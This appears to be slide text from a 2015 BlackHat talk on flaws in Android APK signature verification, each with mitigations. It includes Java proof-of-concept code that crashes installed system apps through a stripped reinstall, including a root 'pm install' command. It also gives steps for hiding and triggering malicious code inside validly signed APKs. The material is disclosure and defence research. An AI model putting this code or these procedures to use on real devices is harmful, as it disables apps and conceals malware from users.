What can you do to an apk without its private key except repacking?
Security engineer in Mobile Security of Alibaba
Exploiting and researching vulnerabilities in mobile platforms
Email: xp_go@hotmail.com
Outlines

- Introduction of APK Verification
- New Attack Methods
  - Light Attack: Certificate Cheater
  - Medium Attack: Upgrade DoS
  - Hard Attack: Hide and Ignite
  - Serious Attack: Shadows Everywhere
- Summary
APK Verification
Mobile Security of Alibaba
Certificate Cheater
Vulnerabilities

// Signer is self-signed
if (siner.getSubjectDN().equals(issuer)) {
    return new X509Certificate[] { signer };
}
X.509 Certificate

- Version
- Serial Number
- Algorithm ID
- Issuer
- Validity
- Subject
- Subject Public Key
- Extensions (optional)
- Certificate Signature Algorithm
- Certificate Signature
Attack Scenarios

Scenario-1:

- Modification: Subject/Issuer
- Harm:
  - copyright problem
  - gain reputation
  - mislead the public
Scenario-2:
- Modification: Validity
- Harm:
  - valid to expired
  - expired signing
- Not applicable in Google Play
- October 22, 2033
Mitigations

- `signer.verify(signer.getPublicKey());`
Upgrade DoS
Vulnerabilities

```java
JarVerifier.VerifierEntry entry = verifier.initEntry(ze.getName());
```
Attack Scenarios

Procedures:

• Delete any source, except:
  • AndroidManifest.xml
  • classes.dex
  • /META-INF folder
• Seamless app upgrade:
  • the same version No
Attack Scenarios

Harms:

- DoS any installed app, such as anti-virus apps
- or DoS all system apps without root privilege
- or publish a large-scale DoS malware
//packageName = apks traversing /system/app and /system/priv-app
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(tmp));
InputStream in = null;
File f = new File(pm.getApplicationInfo(packageName, 0).sourceDir);
ZipEntry ze;
ZipFile zf = new ZipFile(f);
Enumeration<? extends ZipEntry> allEntries = zf.entries();
while (allEntries.hasMoreElements()) {
  ze = allEntries.nextElement();
  String n = ze.getName();
  //all files are deleted except the 3 listed
  if (n.contains("AndroidManifest.xml") || n.contains("classes.dex") || n.contains("META-INF")) {
    out.putNextEntry(ze);
    in = zf.getInputStream(ze);
    int b;
    while((b=in.read()) != -1) {
      out.write(b);
    }
  }
}

//Android upgrade Activity if not rooted:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(new File(tmp)), "application/vnd.android.package-archive");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);

//or pm-install silently if rooted:
myShell("/data/data/com.example.poc01/", "su -c \"pm install -r " + tmp + \"\"");
Unfortunately, Messaging has stopped.

OK

Unfortunately, Dialer has stopped.

OK
Mitigations

Solution 1:
- Compare the amount of sources and digests

Solution 2:
- Enumerate all digests and check their source
Hide and Ignite
Android Sources

MANIFEST.MF

CERT.SF

CERT.RSA

/META-INF

Certificate(s)

others

public key

CERT.SF.signature
Vulnerabilities

// Is this an entry that the verifier needs?
if (endsWithIgnoreCase(entryName, "SF")
    || endsWithIgnoreCase(entryName, "DSA")
    || endsWithIgnoreCase(entryName, "RSA")
    || endsWithIgnoreCase(entryName, "EC")) {

    // If there is no verifier then we don't need to look any further.
    if (!verificationRequired) {
        break;
    }
    } else if (verificationRequired) {
        // Is this an entry that the verifier needs?
        if (endsWithIgnoreCase(entryName, "SF")
            || endsWithIgnoreCase(entryName, "DSA")
            || endsWithIgnoreCase(entryName, "RSA")
            || endsWithIgnoreCase(entryName, "EC")
        ) {
            InputStream is = zipFile.getInputStream(entry);
            metaEntriesMap.put(entryName.toUpperCase(Locale.US), Streams.readFully(is));
        }
    }

    return metaEntriesMap;
}
Vulnerabilities

```java
if (createdBy != null) {
    createdBySigntool = createdBy.indexOf("signtool") != -1;
}

// Use .SF to verify the mainAttributes of the manifest
// If there is no -Digest-Manifest-Main-Attributes entry in .SF
// file, such as those created before java 1.5, then we ignore
// such verification.

if (!verify(attributes, digestAttribute, manifestBytes, 0, manifestBytes.length, false, false)) {
    Iterator<Map.Entry<String, Attributes>> it = entries.entrySet().iterator();
    while (it.hasNext()) {
        Map.Entry<String, Attributes> entry = it.next();
        Manifest.Chunk chunk = manifest.getChunk(entry.getKey());
        if (chunk == null) {
            return;
        }
        if (!verify(entry.getValue(), "-Digest", manifestBytes, chunk.start, chunk.end, createdBySigntool, false)) {
            throw invalidDigest(signatureFile, entry.getKey(), jarName);
        }
    }
}
```

Mobile Security of Alibaba
Android Sources

MANIFEST.MF

CERT.SF

/CERT.RSA

{others

Certificate(s)

public key

CERT.SF.signature
Mobile Security of Alibaba

Vulnerabilities

```java
/* This method handle all the work with PKCS7, ASN1 encoding, signature verifying, and certification path building.
 * See also PKCS #7: Cryptographic Message Syntax Standard:
 * http://www.ietf.org/rfc/rfc2315.txt
 */

signatureBlock) throws IOException, GeneralSecurityException {
    BerInputStream bis = new BerInputStream(signatureBlock);
    ContentInfo info = (ContentInfo)ContentInfo.ASN1.decode(bis);
    SignedData signedData = info.getSignedData();
```
Vulnerabilities

List<SignerInfo> sigInfos = signedData.getSignerInfos();
SignerInfo sigInfo;
if (!sigInfos.isEmpty()) {
    sigInfo = sigInfos.get(0);
} else {
    return null;
}

// Issuer
X500Principal issuer = sigInfo.getIssuer();

// Certificate serial number
BigInteger snum = sigInfo.getSerialNumber();
Attack Scenarios

Procedures:

• Uncompress and copy out the codes
• Ignite hidden codes with measures
  • ClassLoader.loadClass()
  • Runtime.exec()

More:

• Codes can be encrypted before hiding, and ignited after decryption.
Harms:

- Craft malicious apks
- Or infect valid apks
  - installing, upgrading and operating as normal
- To bypass static virus detection and Trojan characteristics detection
Your device has been inserted codes in shadows inside com.google.android.youtube

<table>
<thead>
<tr>
<th>CERT.RSA</th>
<th>957</th>
<th>652</th>
<th>RSA 文件</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT.SF</td>
<td>186,590</td>
<td>57,912</td>
<td>SF 文件</td>
</tr>
<tr>
<td>classes.dex</td>
<td>773,560</td>
<td>353,167</td>
<td>DEX 文件</td>
</tr>
<tr>
<td>infected_killav.apk</td>
<td>373,871</td>
<td>370,333</td>
<td>APK 文件</td>
</tr>
<tr>
<td>MANIFEST.MF</td>
<td>186,537</td>
<td>56,998</td>
<td>MF 文件</td>
</tr>
<tr>
<td>metainfoDirectory.dex</td>
<td>4,453</td>
<td>1,953</td>
<td>DEX 文件</td>
</tr>
</tbody>
</table>
Mitigations

- Others:
  - unrecognized file?

- MANIFEST.MF:
  - MANIFEST.MF’s integrity

- CERT.RSA:
  - defined length == actual size?

- SigInfos:
  - signer-infos > 1?
Shadows Everywhere
### Vulnerabilities

#### /data/app

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Time</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>7376902</td>
<td>1970-01-13</td>
<td>14:07</td>
<td>NewsArticle-3.6.apk</td>
</tr>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>10317590</td>
<td>1970-01-13</td>
<td>14:07</td>
<td>cleanmaster.apk</td>
</tr>
</tbody>
</table>

#### /system/app

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Time</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>18938</td>
<td>2015-04-23</td>
<td>09:56</td>
<td>AntHalService.apk</td>
</tr>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>588508</td>
<td>2015-04-23</td>
<td>09:56</td>
<td>AntiSpam.apk</td>
</tr>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td></td>
<td></td>
<td></td>
<td>Provider.apk</td>
</tr>
</tbody>
</table>

#### /system/priv-app

<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Time</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>1473168</td>
<td>2015-04-23</td>
<td>09:56</td>
<td>AuthManager.apk</td>
</tr>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>428407</td>
<td>2015-04-23</td>
<td>09:56</td>
<td>Backup.apk</td>
</tr>
<tr>
<td>-r</td>
<td>root</td>
<td>root</td>
<td>15674</td>
<td>2015-04-23</td>
<td>09:56</td>
<td>BackupRestoreConfirmation.apk</td>
</tr>
</tbody>
</table>
Attack Scenarios

CALLABORATE ATTACK

Device

Source

Shadows-hidden apks

Igniter-apk

Class-Loader

bomb

app install/upgrade

Shadows-hidden apks

Source

Valid apks

bombs

Shadows-hidden apks

bombs

app install/upgrade
Attack Scenarios

Procedures:

• Download as many apks as you can and insert shadow bombs.
• Spread these shadows-hidden apks as widely and fast as you can.
• Develop an igniter-apk to use a dynamic ClassLoader or a Runtime.exec() to ignite hidden bombs.
Attack Scenarios

Harms:

- Insert MALICIOUS codes into ANY valid apk, without breaking its signature.
- “Bombs” can be planted full of your device, waiting silently for their “igniter”.
- When in single, harmless at all; while in pair, unimagined disaster.
Mitigations

Solution 1:

• Mitigate those vulnerabilities in “Hide and Ignite”.

Solution 2:

• skip copying META-INF/ folder in the installation.
  • keep its public key in /data/system/packages.xml for later app upgrade.

Solution 3:

• Easily and unlimited reading contents in other apks should be banned
  • non-free apps in /data/app-asec after android 4.1
Summary
Certificate validity doesn’t take any account or verification in apk installations.

DoS any apk in the device without root privilege, including system apks.

Apk sources are well protected by digital signature, but not the /META-INFO folder.

An attacker can easily INSERT MALICIOUS CODES INTO ANY VALID APK, without breaking its signature.

Shadows are everywhere, and no apk is secure.
Thanks&QA

BlackHat London 2015

Peng Xiao
Mobile Security of Alibaba